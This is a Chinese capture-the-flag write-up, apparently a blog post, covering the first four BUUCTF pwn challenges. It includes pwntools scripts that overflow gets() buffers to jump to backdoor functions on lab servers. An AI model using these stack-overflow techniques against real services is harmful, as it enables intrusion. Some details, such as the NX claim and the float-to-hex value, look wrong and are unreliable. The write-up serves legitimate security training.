buuctf前四题详解

1.test_your_nc

我们首先启动靶机9f27c9d802184ec18042d61d6aac6b11.jpg

 下载文件后放入ida进行静态分析e5bdb748181640f9adcd331df176bcd7.jpg

 点击/bin/sh,点击command,再点击x发现在main函数中530e3e02f9b84948b66b5111819c90c1.jpg

 点击main,再点击f5发现main函数里只有system,直接nc得到flag57049a56b87540f6ae52b1e89b71ef1f.jpg

e2fa8cfe6d8d4be7926c8701dfb7f20e.jpg 

 2.

  • 启动靶机下载文件后,先放入checkec进行检测
  • 我们发现他是一个64位程序,开启了栈不可执行保护,但没有打开NX防护,这说明堆栈可执行,no pie
  • 所以推测为栈溢出漏洞,于是用ida进行分析f4516ccf90254dbd8dc957b5ba7be4ea.jpg

 和上题一样,我们点击/bin/sh,点击command,再点击x,发现在fun函数中f081035dfc764fa38d32ff4426fa6dde.jpg

c9ac1cc445ac43c38d004fb5eb710896.jpg 

 f5看到fun函数,发现system,接下来我们要想办法触发fun函数

那么我们要知道

  • get函数
    gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。
    可以利用缓冲区溢出,将缓冲区填满后跳转到fun函数处,获取shell,进而获取flag

因此我们编写一个exploit来获取flag

具体框架如下

> from pwn import*                  //pwntools函数导入
sh = remote('node4.buuoj.cn',27719) //连接靶机的服务,需要输入对应的ip地址和端口号
#sh = process('./pwn1')             //本地调试
payload = b'a'*23+p64(0x40118A)     //输入payload来进行操作以拿到程序的shell
sh.sendline(payload)  
                                    //sendline() - 发送带回车符的字符串
                                    //sendline() 和 send() 唯一的区别就是在发送的字符串后面加上了回车换行符.
sh.interactive()                    //发送命令进行交互, sh.interactive()允许我们在终端里将命令传送到靶机服务器

ce926d0b494a48db818941f222c40d3f.jpg

 之后我们运行exp,得到flag

4cd2b030143649f7a44d25b93b983a71.jpg

 3.warmup_csaw_2016

我们先检查文件发现是64位,所以我们放入ida64

后门函数中运行的地址为0x000400611

main函数中字符分配到的地址是40到80

我们编写一个exp文件

from pwn import *
p=remote("node4.buuoj.cn",25851)
payload=b'a'*(0x40+8)+p64(0x400611+1)
p.sendline(payload)
p.interactive()
 使用pwn工具

就会直接出现flag

e9d9c89c4cf64c24b2435a67e070d351.jpg

 4.ciscn_2019_n_1

程序经过分析后我们发现是32位程序并且只开启了NX保护,我们放人ida进行静态分析

63446e89e0ab4e7780f341b74289f865.jpg

a60136bab8f54ebca3f32dfd969d6823.jpg和前两题的步骤一样,我们发现 地址在函数func()里

我们打开后门函数记下函数地址0x400676126b9b28aca242799ab8059bdb76b961.jpg

 

 f5发现里面含有system("cat/flag")语句,其作用为输出flag文件信息899eabc7446846e498239d986743378b.jpg

 经过转换后可以得到11.28125对应的十六进制为0x4134800

也可以在ida中查看得到1e709aac92a04710b0a73bc53edd5f41.jpg

 最后编写exp并运行得到flag

2c1a1ef722b348548cc672905a70e9b6.jpg

 a6fdfc249af9488dafff29ddc04227e5.jpg

 以上!

 

  • 6
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值